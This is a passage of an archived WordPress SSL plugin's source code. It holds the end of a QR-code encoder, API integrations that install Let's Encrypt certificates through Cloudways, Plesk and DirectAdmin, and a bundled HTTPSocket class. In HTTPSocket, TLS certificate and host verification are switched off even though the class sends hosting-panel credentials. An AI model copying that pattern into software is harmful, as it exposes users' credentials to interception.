          _out.writeByte(0xff & ( (data << _bitLength) | _bitBuffer) );
          length -= (8 - _bitLength);
          data >>>= (8 - _bitLength);
          _bitBuffer = 0;
          _bitLength = 0;
        }

        _bitBuffer = (data << _bitLength) | _bitBuffer;
        _bitLength = _bitLength + length;
      };

      _this.flush = function() {
        if (_bitLength > 0) {
          _out.writeByte(_bitBuffer);
        }
      };

      return _this;
    };

    var getLZWRaster = function(lzwMinCodeSize) {

      var clearCode = 1 << lzwMinCodeSize;
      var endCode = (1 << lzwMinCodeSize) + 1;
      var bitLength = lzwMinCodeSize + 1;

      // Setup LZWTable
      var table = lzwTable();

      for (var i = 0; i < clearCode; i += 1) {
        table.add(String.fromCharCode(i) );
      }
      table.add(String.fromCharCode(clearCode) );
      table.add(String.fromCharCode(endCode) );

      var byteOut = byteArrayOutputStream();
      var bitOut = bitOutputStream(byteOut);

      // clear code
      bitOut.write(clearCode, bitLength);

      var dataIndex = 0;

      var s = String.fromCharCode(_data[dataIndex]);
      dataIndex += 1;

      while (dataIndex < _data.length) {

        var c = String.fromCharCode(_data[dataIndex]);
        dataIndex += 1;

        if (table.contains(s + c) ) {

          s = s + c;

        } else {

          bitOut.write(table.indexOf(s), bitLength);

          if (table.size() < 0xfff) {

            if (table.size() == (1 << bitLength) ) {
              bitLength += 1;
            }

            table.add(s + c);
          }

          s = c;
        }
      }

      bitOut.write(table.indexOf(s), bitLength);

      // end code
      bitOut.write(endCode, bitLength);

      bitOut.flush();

      return byteOut.toByteArray();
    };

    var lzwTable = function() {

      var _map = {};
      var _size = 0;

      var _this = {};

      _this.add = function(key) {
        if (_this.contains(key) ) {
          throw 'dup key:' + key;
        }
        _map[key] = _size;
        _size += 1;
      };

      _this.size = function() {
        return _size;
      };

      _this.indexOf = function(key) {
        return _map[key];
      };

      _this.contains = function(key) {
        return typeof _map[key] != 'undefined';
      };

      return _this;
    };

    return _this;
  };

  var createDataURL = function(width, height, getPixel) {
    var gif = gifImage(width, height);
    for (var y = 0; y < height; y += 1) {
      for (var x = 0; x < width; x += 1) {
        gif.setPixel(x, y, getPixel(x, y) );
      }
    }

    var b = byteArrayOutputStream();
    gif.write(b);

    var base64 = base64EncodeOutputStream();
    var bytes = b.toByteArray();
    for (var i = 0; i < bytes.length; i += 1) {
      base64.writeByte(bytes[i]);
    }
    base64.flush();

    return 'data:image/gif;base64,' + base64;
  };

  //---------------------------------------------------------------------
  // returns qrcode function.

  return qrcode;
}();

// multibyte support
!function() {

  qrcode.stringToBytesFuncs['UTF-8'] = function(s) {
    // http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array
    function toUTF8Array(str) {
      var utf8 = [];
      for (var i=0; i < str.length; i++) {
        var charcode = str.charCodeAt(i);
        if (charcode < 0x80) utf8.push(charcode);
        else if (charcode < 0x800) {
          utf8.push(0xc0 | (charcode >> 6),
              0x80 | (charcode & 0x3f));
        }
        else if (charcode < 0xd800 || charcode >= 0xe000) {
          utf8.push(0xe0 | (charcode >> 12),
              0x80 | ((charcode>>6) & 0x3f),
              0x80 | (charcode & 0x3f));
        }
        // surrogate pair
        else {
          i++;
          // UTF-16 encodes 0x10000-0x10FFFF by
          // subtracting 0x10000 and splitting the
          // 20 bits of 0x0-0xFFFFF into two halves
          charcode = 0x10000 + (((charcode & 0x3ff)<<10)
            | (str.charCodeAt(i) & 0x3ff));
          utf8.push(0xf0 | (charcode >>18),
              0x80 | ((charcode>>12) & 0x3f),
              0x80 | ((charcode>>6) & 0x3f),
              0x80 | (charcode & 0x3f));
        }
      }
      return utf8;
    }
    return toUTF8Array(s);
  };

}();

(function (factory) {
  if (typeof define === 'function' && define.amd) {
      define([], factory);
  } else if (typeof exports === 'object') {
      module.exports = factory();
  }
}(function () {
    return qrcode;
}));
really-simple-ssl/lets-encrypt/integrations/cloudways/cloudways.php000064400000020132147510273070022022 0ustar00<?php
/**
 * @package CloudWays
 * @author Rogier Lankhorst
 * @copyright  Copyright (C) 2021, Rogier Lankhorst
 * @license    http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3
 * @link       https://really-simple-ssl.com
 * @since      Class available since Release 5.0.0
 *
 *
 *   This program is free software: you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation, either version 3 of the License, or
 *   (at your option) any later version.
 *
 *   This program is distributed in the hope that it will be useful,
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *   GNU General Public License for more details.
 *
 *   You should have received a copy of the GNU General Public License
 *   along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 */

require_once rsssl_path . 'lib/admin/class-encryption.php';
use RSSSL\lib\admin\Encryption;
class rsssl_Cloudways {
	use Encryption;
	private $email;
	private $api_key;
	public $ssl_installation_url;

	/**
	 * Initiates the cloudways class.
	 *
	 * @param string $email
	 * @param string $api_key
	 */

	public function __construct( ) {
		$this->email             = rsssl_get_option('cloudways_user_email');
		$this->api_key = $this->decrypt_if_prefixed( rsssl_get_option('cloudways_api_key') );
		$this->ssl_installation_url = "";
	}

	/**
	 *
	 * @param string $method      GET|POST|PUT|DELETE
	 * @param string $url         relative URL for the call
	 * @param string $accessToken Access token generated using OAuth Call
	 * @param array   $post        Optional post data for the call
	 *
	 * @return RSSSL_RESPONSE
	 */
	private function callCloudwaysAPI( $method, $url, $accessToken, $post = [] ) {
		$baseURL = 'https://api.cloudways.com/api/v1/';
		try {
			$ch = curl_init();
			curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, $method );
			curl_setopt( $ch, CURLOPT_URL, $baseURL . $url );
			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
			if ( $accessToken ) {
				curl_setopt( $ch, CURLOPT_HTTPHEADER, [ 'Authorization: Bearer ' . $accessToken ] );
			}

			//ssl_domains[]=fungibleownership.com&ssl_domains[]=www.fungibleownership.com
			$encoded = '';
			if ( count( $post ) ) {
				foreach ( $post as $name => $value ) {
					if ( is_array( $value) ) {
						foreach ( $value as $sub_value ) {
							$encoded .= $name.'[]='.urlencode( $sub_value) . '&';
						}
					} else {
						$encoded .= urlencode( $name ) . '=' . urlencode( $value ) . '&';
					}
				}
				$encoded = substr( $encoded, 0, strlen( $encoded ) - 1 );
				curl_setopt( $ch, CURLOPT_POSTFIELDS, $encoded );
				curl_setopt( $ch, CURLOPT_POST, 1 );
			}

			$output = curl_exec( $ch );

			$httpcode = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
			if ($output && isset($output->error_description)) {
				return new RSSSL_RESPONSE( 'error', 'stop', $output->error_description, false );
			} else if ($httpcode != '200' && $output && isset($output->message) ){
				return new RSSSL_RESPONSE( 'error', 'stop', $output->message );
			} else if ( $httpcode != '200' ) {
				$message = $httpcode . ' output: ' . substr( $output, 0, 10000 );
				return new RSSSL_RESPONSE( 'error', 'stop', $message );
			}
			curl_close( $ch );
			return new RSSSL_RESPONSE( 'success', 'continue', '', json_decode( $output ) );
		} catch(Exception $e) {
			return new RSSSL_RESPONSE( 'error', 'stop', $e->getMessage() );
		}
	}


	/**
	 * Get an access token
	 * @return RSSSL_RESPONSE
	 */

	private function getAccessToken() {
		$accessToken = get_transient('rsssl_cw_t');
		if (!$accessToken) {
			$response = $this->callCloudwaysAPI( 'POST', '/oauth/access_token', null, [ 'email' => $this->email, 'api_key' => $this->api_key ] );
			if ($response->status === 'success' ) {
				$accessToken   = $response->output->access_token;
				set_transient('rsssl_cw_t', $accessToken, 1800);
			} else {
				return new RSSSL_RESPONSE( 'error', 'stop', $response->message );
			}
		}
		return new RSSSL_RESPONSE( 'success', 'continue','', $accessToken );
	}

	/**
	 * @param array $domains
	 *
	 * @return RSSSL_RESPONSE
	 */

	public function installSSL($domains){
		$response = $this->getAccessToken();
		if ( $response->status !== 'success' ) {
			return new RSSSL_RESPONSE('error','stop',$response->message);
		}
		$accessToken = $response->output;
		$response = $this->getServerInfo();


		if ($response->status === 'success' ) {
			$server_id = get_transient('rsssl_cw_server_id' );
			$app_id = get_transient('rsssl_cw_app_id');
			$args = [
				'server_id' => $server_id,
				'app_id' => $app_id,
				'ssl_email' => $this->email,
				'wild_card' => RSSSL_LE()->letsencrypt_handler->is_wildcard(),
				'ssl_domains' => $domains,
			];

			$response = $this->callCloudWaysAPI( 'POST', 'security/lets_encrypt_install', $accessToken, $args );
		}

		return $response;
	}

	/**
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function enableAutoRenew(){
		$response = $this->getAccessToken();
		if ( $response->status !== 'success' ) {
			return new RSSSL_RESPONSE('error','stop', __("Failed retrieving access token","really-simple-ssl"));
		}
		$accessToken = $response->output;

		$response = $this->getServerInfo();
		if ($response->status === 'success' ) {
			$app_id = get_transient('rsssl_cw_app_id');
			$server_id = get_transient('rsssl_cw_server_id' );
			$response = $this->callCloudWaysAPI( 'POST', 'security/lets_encrypt_auto', $accessToken,
				[
					'server_id' => $server_id,
					'app_id' => $app_id,
					'auto' => true,
				]
			);
		}

		if ( $response->status === 'success' ) {
			$status = 'success';
			$action = 'continue';
			$message = __("Successfully installed Let's Encrypt","really-simple-ssl");
		} elseif ($response->status === 'error') {
			//in some cases, the process is already started, which also signifies success.
			if ( strpos($response->message, 'An operation is already in progress for this server')) {
				$status = 'success';
				$action = 'continue';
				$message = __("Successfully installed Let's Encrypt","really-simple-ssl");
			} else {
				$status = $response->status;
				$action = $response->action;
				$message = $response->message;
			}
		} else {
			$status = $response->status;
			$action = $response->action;
			$message = __("Error enabling auto renew for Let's Encrypt","really-simple-ssl");
		}

		return new RSSSL_RESPONSE( $status, $action, $message );
	}


	/**
	 * Get the server id and app id
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function getServerInfo(){
		if ( get_transient('rsssl_cw_app_id') && get_transient('rsssl_cw_server_id' ) ) {
			$status = 'success';
			$action = 'continue';
			$message = __("Successfully retrieved server id and app id","really-simple-ssl");
			return new RSSSL_RESPONSE( $status, $action, $message );
		}

		$response = $this->getAccessToken();
		if ( $response->status !== 'success' ) {
			return new RSSSL_RESPONSE('error','stop', $response->message);
		}
		$accessToken = $response->output;

		$response = $this->callCloudwaysAPI('GET', '/server', $accessToken );
		$success = false;
		if ($response->status === 'success') {
			$serverList = $response->output;
			$servers = $serverList->servers;
			foreach ($servers as $server ){
				$apps = $server->apps;
				foreach ($apps as $app ){
					$app_domain = $app->cname;
					$this_site_domain = str_replace(array('https://', 'http://', 'www.'), '',site_url());
					if (strpos($app_domain, $this_site_domain) !== false ) {
						$success = true;
						set_transient('rsssl_cw_app_id', $app->id, WEEK_IN_SECONDS);
						set_transient('rsssl_cw_server_id', $server->id, WEEK_IN_SECONDS);
						break 2;
					}
				}
			}
		}

		if ( $success ) {
			$status = 'success';
			$action = 'continue';
			$message = __("Successfully retrieved server id and app id","really-simple-ssl");
		} else {
			$status = 'error';
			$action = 'stop';
			if ( isset($serverList->error_description) ) {
				$message = $serverList->error_description;
			} else {
				$message = __("Could not retrieve server list","really-simple-ssl");
			}
		}

		return new RSSSL_RESPONSE( $status, $action, $message );
	}

}really-simple-ssl/lets-encrypt/integrations/cloudways/functions.php000064400000004024147510273070022022 0ustar00<?php defined( 'ABSPATH' ) or die();

function rsssl_cloudways_server_data(){
	require_once( rsssl_le_path . 'integrations/cloudways/cloudways.php' );
	$cloudways = new rsssl_Cloudways();
	return $cloudways->getServerInfo();
}

function rsssl_cloudways_install_ssl(){
	if (rsssl_is_ready_for('installation')) {
		require_once( rsssl_le_path . 'integrations/cloudways/cloudways.php' );
		$domains = RSSSL_LE()->letsencrypt_handler->get_subjects();
		$cloudways = new rsssl_Cloudways();
		$response =  $cloudways->installSSL($domains);
		if ($response->status === 'success') {
			update_option('rsssl_le_certificate_installed_by_rsssl', 'cloudways', false);
		}
		return $response;
	} else {
		$status = 'error';
		$action = 'stop';
		$message = __("The system is not ready for the installation yet. Please run the wizard again.", "really-simple-ssl");
		return new RSSSL_RESPONSE($status, $action, $message);
	}
}

function rsssl_cloudways_auto_renew(){
	require_once( rsssl_le_path . 'integrations/cloudways/cloudways.php' );
	$cloudways = new rsssl_Cloudways();
	return $cloudways->enableAutoRenew();
}

function rsssl_cloudways_add_condition_actions($fields){
	$index = array_search('installation',array_column($fields,'id'));
	$fields[$index]['actions'] = array(
		array(
			'description' => __("Retrieving Cloudways server data...", "really-simple-ssl"),
			'action'=> 'rsssl_cloudways_server_data',
			'attempts' => 5,
			'status'      => 'inactive',
		),
		array(
			'description' => __("Installing SSL certificate...", "really-simple-ssl"),
			'action'=> 'rsssl_cloudways_install_ssl',
			'attempts' => 5,
			'status'      => 'inactive',
		),
		array(
			'description' => __("Enabling auto renew...", "really-simple-ssl"),
			'action'=> 'rsssl_cloudways_auto_renew',
			'attempts' => 5,
			'status'      => 'inactive',
		),
	);

	//drop store credentials field
	$creds_index = array_search('store_credentials',array_column($fields,'id'));
	unset($fields[$creds_index]);
	return $fields;
}
add_filter( 'rsssl_fields', 'rsssl_cloudways_add_condition_actions' );

really-simple-ssl/lets-encrypt/integrations/plesk/plesk.php000064400000006054147510273070020241 0ustar00<?php
/**
 * @package PLESK
 * @author Rogier Lankhorst
 * @copyright  Copyright (C) 2021, Rogier Lankhorst
 * @license    http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3
 * @link       https://really-simple-ssl.com
 * @since      Class available since Release 5.0.0
 *
 *
 *   This program is free software: you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation, either version 3 of the License, or
 *   (at your option) any later version.
 *
 *   This program is distributed in the hope that it will be useful,
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *   GNU General Public License for more details.
 *
 *   You should have received a copy of the GNU General Public License
 *   along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 */


use PleskX\Api\Client;
require_once rsssl_path . 'lib/admin/class-encryption.php';
use RSSSL\lib\admin\Encryption;
require_once rsssl_le_path . 'vendor/autoload.php';
require_once( rsssl_le_path . 'integrations/plesk/functions.php' );

class rsssl_plesk
{
	use Encryption;
	public $host;
	private $login;
	private $password;
	public $ssl_installation_url;

	/**
	 * Initiates the Plesk class.
	 *
	 */
	public function __construct()
	{
		$password = $this->decrypt_if_prefixed( rsssl_get_option('plesk_password') );
		$host = rsssl_get_option('plesk_host');
		$this->host =  str_replace(array('http://', 'https://', ':8443'), '', $host);
		$this->login = rsssl_get_option('plesk_username');
		$this->password = $password;
		$this->ssl_installation_url = 'https://'.$this->host.":8443/smb/ssl-certificate/list/id/21";
	}

	/**
	 * Check if all creds are available
	 * @return bool
	 */
	public function credentials_available(){
		if (!empty($this->host) && !empty($this->password) && !empty($this->login)) {
			return true;
		}
		return false;
	}

	/**
	 * Install certificate
	 * @param $domains
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function installSSL($domains){
		$key_file = get_option('rsssl_private_key_path');
		$cert_file = get_option('rsssl_certificate_path');
		$cabundle_file = get_option('rsssl_intermediate_path');

		try {
			$client = new Client($this->host);
			$client->setCredentials($this->login, $this->password);
			$response = $client->certificate()->install($domains, [
				'csr' => '',
				'pvt' => file_get_contents($key_file),
				'cert' => file_get_contents($cert_file),
				'ca' => file_get_contents($cabundle_file),
			]);
			update_option('rsssl_le_certificate_installed_by_rsssl', 'plesk', false);
			delete_option('rsssl_installation_error' );
			$status = 'success';
			$action = 'continue';
			$message = __('Successfully installed SSL',"really-simple-ssl");
		} catch(Exception $e) {
			update_option('rsssl_installation_error', 'plesk', false);
			$status = 'warning';
			$action = 'continue';
			$message = $e->getMessage();
		}
		return new RSSSL_RESPONSE($status, $action, $message);
	}

}

really-simple-ssl/lets-encrypt/integrations/plesk/functions.php000064400000002441147510273070021127 0ustar00<?php
defined( 'ABSPATH' ) or die();

function rsssl_plesk_install(){
	if (rsssl_is_ready_for('installation')) {
		$cpanel = new rsssl_plesk();
		$domains = RSSSL_LE()->letsencrypt_handler->get_subjects();
		$response = $cpanel->installSSL($domains);
		if ( $response->status === 'success' ) {
			update_option('rsssl_le_certificate_installed_by_rsssl', 'cpanel:default', false);
		}
		return $response;
	} else {
		$status = 'error';
		$action = 'stop';
		$message = __("The system is not ready for the installation yet. Please run the wizard again.", "really-simple-ssl");
		return new RSSSL_RESPONSE($status, $action, $message);
	}
}

/**
 * Add the step to install SSL using Plesk
 * @param array $fields
 *
 * @return array
 */
function rsssl_plesk_add_installation_step($fields){
	$plesk = new rsssl_plesk();
	if ( $plesk->credentials_available() ) {
		$index = array_search( 'installation', array_column( $fields, 'id' ) );
		$fields[ $index ]['actions'] = array_merge(array(
			array(
				'description' => __("Installing SSL certificate using PLESK API...", "really-simple-ssl"),
				'action'=> 'rsssl_plesk_install',
				'attempts' => 1,
				'status'      => 'inactive',
			)
		) , $fields[ $index ]['actions'] );
	}

	return $fields;
}
add_filter( 'rsssl_fields', 'rsssl_plesk_add_installation_step' );
really-simple-ssl/lets-encrypt/integrations/directadmin/functions.php000064400000002525147510273070022277 0ustar00<?php
defined( 'ABSPATH' ) or die();

function rsssl_install_directadmin(){
	if (rsssl_is_ready_for('installation')) {
		$directadmin = new rsssl_directadmin();
		$domains = RSSSL_LE()->letsencrypt_handler->get_subjects();
		$response = $directadmin->installSSL($domains);
		if ( $response->status === 'success' ) {
			update_option('rsssl_le_certificate_installed_by_rsssl', 'directadmin', false );
		}
		return $response;
	} else {
		$status = 'error';
		$action = 'stop';
		$message = __("The system is not ready for the installation yet. Please run the wizard again.", "really-simple-ssl");
		return new RSSSL_RESPONSE($status, $action, $message);
	}
}

/**
 * Add actions for direct admin
 * @param array $fields
 *
 * @return array
 */
function rsssl_directadmin_add_condition_actions($fields){
	$directadmin = new rsssl_directadmin();
	if ( $directadmin->credentials_available() ) {
		$index = array_search( 'installation', array_column( $fields, 'id' ) );
		//clear existing array
		$fields[ $index ]['actions'] = [];
		$fields[ $index ]['actions'][]
			= array(
			'description' => __( "Attempting to install certificate...", "really-simple-ssl" ),
			'action'      => 'rsssl_install_directadmin',
			'attempts'    => 1,
			'status'      => 'inactive',
		);
	}

	return $fields;
}
add_filter( 'rsssl_fields', 'rsssl_directadmin_add_condition_actions' );


really-simple-ssl/lets-encrypt/integrations/directadmin/httpsocket.php000064400000023532147510273070022460 0ustar00<?php

/**
 * Socket communication class.
 *
 * Originally designed for use with DirectAdmin's API, this class will fill any HTTP socket need.
 *
 * Very, very basic usage:
 *   $Socket = new HTTPSocket;
 *   echo $Socket->get('http://user:pass@somesite.com/somedir/some.file?query=string&this=that');
 *
 * @author Phi1 'l0rdphi1' Stier <l0rdphi1@liquenox.net>
 * @package HTTPSocket
 * @version 3.0.4
 */
class HTTPSocket {

	var $version = '3.0.4';

	/* all vars are private except $error, $query_cache, and $doFollowLocationHeader */

	var $method = 'GET';

	var $remote_host;
	var $remote_port;
	var $remote_uname;
	var $remote_passwd;

	var $result;
	var $result_header;
	var $result_body;
	var $result_status_code;

	var $lastTransferSpeed;

	var $bind_host;

	var $error = array();
	var $warn = array();
	var $query_cache = array();

	var $doFollowLocationHeader = TRUE;
	var $redirectURL;
	var $max_redirects = 5;
	var $ssl_setting_message = 'DirectAdmin appears to be using SSL. Change your script to connect to ssl://';

	var $extra_headers = array();

	var $proxy = false;
	var $proxy_headers = array();

	/**
	 * Create server "connection".
	 *
	 */
	function connect($host, $port = '' )
	{
		if (!is_numeric($port))
		{
			$port = 80;
		}

		$this->remote_host = $host;
		$this->remote_port = $port;
	}

	function bind( $ip = '' )
	{
		if ( $ip == '' )
		{
			$ip = $_SERVER['SERVER_ADDR'];
		}

		$this->bind_host = $ip;
	}

	/**
	 * Change the method being used to communicate.
	 *
	 * @param string|null request method. supports GET, POST, and HEAD. default is GET
	 */
	function set_method( $method = 'GET' )
	{
		$this->method = strtoupper($method);
	}

	/**
	 * Specify a username and password.
	 *
	 * @param string|null username. defualt is null
	 * @param string|null password. defualt is null
	 */
	function set_login( $uname = '', $passwd = '' )
	{
		if ( strlen($uname) > 0 )
		{
			$this->remote_uname = $uname;
		}

		if ( strlen($passwd) > 0 )
		{
			$this->remote_passwd = $passwd;
		}

	}
	/**
	 * For pass through, this function writes the data in chunks.
	 */
	private function stream_chunk($ch, $data)
	{
		echo($data);
		return strlen($data);
	}
	private function stream_header($ch, $data)
	{
		if (!preg_match('/^HTTP/i', $data))
		{
			header($data);
		}
		return strlen($data);
	}


	/**
	 * Query the server
	 *
	 * @param string containing properly formatted server API. See DA API docs and examples. Http:// URLs O.K. too.
	 * @param string|array query to pass to url
	 * @param int if connection KB/s drops below value here, will drop connection
	 */
	function query( $request, $content = '', $doSpeedCheck = 0 )
	{
		$this->error = $this->warn = array();
		$this->result_status_code = NULL;

		$is_ssl = FALSE;

		// is our request a http:// ... ?
		if (preg_match('!^http://!i',$request) || preg_match('!^https://!i',$request))
		{
			$location = parse_url($request);
			if (preg_match('!^https://!i',$request))
			{
				$this->connect('https://'.$location['host'],$location['port']);
			}
			else
				$this->connect('http://'.$location['host'],$location['port']);

			$this->set_login($location['user'],$location['pass']);

			$request = $location['path'];
			$content = $location['query'];

			if ( strlen($request) < 1 )
			{
				$request = '/';
			}

		}

		if (preg_match('!^ssl://!i', $this->remote_host))
			$this->remote_host = 'https://'.substr($this->remote_host, 6);

		if (preg_match('!^tcp://!i', $this->remote_host))
			$this->remote_host = 'http://'.substr($this->remote_host, 6);

		if (preg_match('!^https://!i', $this->remote_host))
			$is_ssl = TRUE;

		$array_headers = array(
			'Host' => ( $this->remote_port == 80 ? $this->remote_host : "$this->remote_host:$this->remote_port" ),
			'Accept' => '*/*',
			'Connection' => 'Close' );

		foreach ( $this->extra_headers as $key => $value )
		{
			$array_headers[$key] = $value;
		}

		$this->result = $this->result_header = $this->result_body = '';

		// was content sent as an array? if so, turn it into a string
		if (is_array($content))
		{
			$pairs = array();

			foreach ( $content as $key => $value )
			{
				$pairs[] = "$key=".urlencode($value);
			}

			$content = join('&',$pairs);
			unset($pairs);
		}

		$OK = TRUE;

		if ($this->method == 'GET' && isset($content) && $content != '')
			$request .= '?'.$content;

		$ch = curl_init($this->remote_host.':'.$this->remote_port.$request);

		if ($is_ssl)
		{
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //1
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //2
			//curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);
		}

		curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		curl_setopt($ch, CURLOPT_USERAGENT, "HTTPSocket/$this->version");
		curl_setopt($ch, CURLOPT_FORBID_REUSE, 1);
		curl_setopt($ch, CURLOPT_TIMEOUT, 100);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
		curl_setopt($ch, CURLOPT_HEADER, 1);

		if ($this->proxy)
		{
			curl_setopt($ch, CURLOPT_RETURNTRANSFER,false);
			curl_setopt($ch, CURLOPT_HEADER,	false);
			curl_setopt($ch, CURLINFO_HEADER_OUT,	false);
			curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192); // 8192
			curl_setopt($ch, CURLOPT_WRITEFUNCTION,  array($this, "stream_chunk"));
			curl_setopt($ch, CURLOPT_HEADERFUNCTION, array($this, "stream_header"));
		}

		curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 512);
		curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 120);

		// instance connection
		if ($this->bind_host)
		{
			curl_setopt($ch, CURLOPT_INTERFACE, $this->bind_host);
		}

		// if we have a username and password, add the header
		if ( isset($this->remote_uname) && isset($this->remote_passwd) )
		{
			curl_setopt($ch, CURLOPT_USERPWD, $this->remote_uname.':'.$this->remote_passwd);
		}

		// for DA skins: if $this->remote_passwd is NULL, try to use the login key system
		if ( isset($this->remote_uname) && $this->remote_passwd == NULL )
		{
			curl_setopt($ch, CURLOPT_COOKIE, "session={$_SERVER['SESSION_ID']}; key={$_SERVER['SESSION_KEY']}");
		}

		// if method is POST, add content length & type headers
		if ( $this->method == 'POST' )
		{
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $content);

			//$array_headers['Content-type'] = 'application/x-www-form-urlencoded';
			$array_headers['Content-length'] = strlen($content);
		}

		curl_setopt($ch, CURLOPT_HTTPHEADER, $array_headers);


		if( !($this->result = curl_exec($ch)) )
		{
			$this->error[] .= curl_error($ch);
			$OK = FALSE;
		}

		$header_size			= curl_getinfo($ch, CURLINFO_HEADER_SIZE);
		$this->result_header	= substr($this->result, 0, $header_size);
		$this->result_body		= substr($this->result, $header_size);
		$this->result_status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		$this->lastTransferSpeed = curl_getinfo($ch, CURLINFO_SPEED_DOWNLOAD) / 1024;

		curl_close($ch);

		$this->query_cache[] = $this->remote_host.':'.$this->remote_port.$request;

		$headers = $this->fetch_header();

		// did we get the full file?
		if ( !empty($headers['content-length']) && $headers['content-length'] != strlen($this->result_body) )
		{
			$this->result_status_code = 206;
		}

		// now, if we're being passed a location header, should we follow it?
		if ($this->doFollowLocationHeader)
		{
			//dont bother if we didn't even setup the script correctly
			if (isset($headers['x-use-https']) && $headers['x-use-https']=='yes')
				die($this->ssl_setting_message);

			if (isset($headers['location']))
			{
				if ($this->max_redirects <= 0)
					die("Too many redirects on: ".$headers['location']);

				$this->max_redirects--;
				$this->redirectURL = $headers['location'];
				$this->query($headers['location']);
			}
		}

	}

	function getTransferSpeed()
	{
		return $this->lastTransferSpeed;
	}

	/**
	 * The quick way to get a URL's content :)
	 *
	 * @param string URL
	 * @param boolean return as array? (like PHP's file() command)
	 * @return string result body
	 */
	function get($location, $asArray = FALSE )
	{
		$this->query($location);

		if ( $this->get_status_code() == 200 )
		{
			if ($asArray)
			{
				return preg_split("/\n/",$this->fetch_body());
			}

			return $this->fetch_body();
		}

		return FALSE;
	}

	/**
	 * Returns the last status code.
	 * 200 = OK;
	 * 403 = FORBIDDEN;
	 * etc.
	 *
	 * @return int status code
	 */
	function get_status_code()
	{
		return $this->result_status_code;
	}

	/**
	 * Adds a header, sent with the next query.
	 *
	 * @param string header name
	 * @param string header value
	 */
	function add_header($key,$value)
	{
		$this->extra_headers[$key] = $value;
	}

	/**
	 * Clears any extra headers.
	 *
	 */
	function clear_headers()
	{
		$this->extra_headers = array();
	}

	/**
	 * Return the result of a query.
	 *
	 * @return string result
	 */
	function fetch_result()
	{
		return $this->result;
	}

	/**
	 * Return the header of result (stuff before body).
	 *
	 * @param string (optional) header to return
	 * @return array result header
	 */
	function fetch_header( $header = '' )
	{
		if ($this->proxy)
			return $this->proxy_headers;

		$array_headers = preg_split("/\r\n/",$this->result_header);

		$array_return = array( 0 => $array_headers[0] );
		unset($array_headers[0]);

		foreach ( $array_headers as $pair )
		{
			if ($pair == '' || $pair == "\r\n") continue;
			list($key,$value) = preg_split("/: /",$pair,2);
			$array_return[strtolower($key)] = $value;
		}

		if ( $header != '' )
		{
			return $array_return[strtolower($header)];
		}

		return $array_return;
	}

	/**
	 * Return the body of result (stuff after header).
	 *
	 * @return string result body
	 */
	function fetch_body()
	{
		return $this->result_body;
	}

	/**
	 * Return parsed body in array format.
	 *
	 * @return array result parsed
	 */
	function fetch_parsed_body()
	{
		parse_str($this->result_body,$x);
		return $x;
	}


	/**
	 * Set a specifc message on how to change the SSL setting, in the event that it's not set correctly.
	 */
	function set_ssl_setting_message($str)
	{
		$this->ssl_setting_message = $str;
	}


}really-simple-ssl/lets-encrypt/integrations/directadmin/directadmin.php000064400000010060147510273070022543 0ustar00<?php
defined( 'ABSPATH' ) or die();
require_once rsssl_path . 'lib/admin/class-encryption.php';
use RSSSL\lib\admin\Encryption;
/**
 * @package    DirectAdmin
 * @author     Rogier Lankhorst
 * @copyright  Copyright (C) 2021, Rogier Lankhorst
 * @license    http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3
 * @link       https://really-simple-ssl.com
 * @since      Class available since Release 5.0.0
 *
 */

require_once( rsssl_le_path . 'integrations/directadmin/httpsocket.php' );
require_once( rsssl_le_path . 'integrations/directadmin/functions.php' );

class rsssl_directadmin {
	use Encryption;
	public $host;
	private $login;
	private $password;
	public $ssl_installation_url;

	/**
	 * Initiates the directadmin class.
	 *
	 */
	public function __construct() {
		$password                   = $this->decrypt_if_prefixed( rsssl_get_option( 'directadmin_password' ) );
		$host                       = rsssl_get_option( 'directadmin_host' );
		$this->host                 = str_replace( array( 'http://', 'https://', ':2222' ), '', $host );
		$this->login                = rsssl_get_option( 'directadmin_username' );
		$this->password             = $password;
		$this->ssl_installation_url = 'https://' . $this->host . "";
	}
	/**
	 * Check if all creds are available
	 * @return bool
	 */
	public function credentials_available(){
		if (!empty($this->host) && !empty($this->password) && !empty($this->login)) {
			return true;
		}
		return false;
	}

	public function installSSL( $domains ) {
		$response = false;
		if ( is_array($domains) && count($domains)>0 ) {
			foreach( $domains as $domain ) {
				$response_item = $this->installSSLPerDomain($domain);
				//set on first iteration
				if ( !$response ) {
					$response = $response_item;
				}

				//override if not successfull, to always get the error.
				if ( $response->status !== 'success' ) {
					$response = $response_item;
				}
			}
		}

		if ( !$response ) {
			$response = new RSSSL_RESPONSE('error', 'stop', __("No valid list of domains.", "really-simple-ssl"));
		}

		return $response;
	}

	/**
	 * Install certificate
	 *
	 * @param string $domain
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function installSSLPerDomain( $domain ) {
		$key_file      = get_option( 'rsssl_private_key_path' );
		$cert_file     = get_option( 'rsssl_certificate_path' );
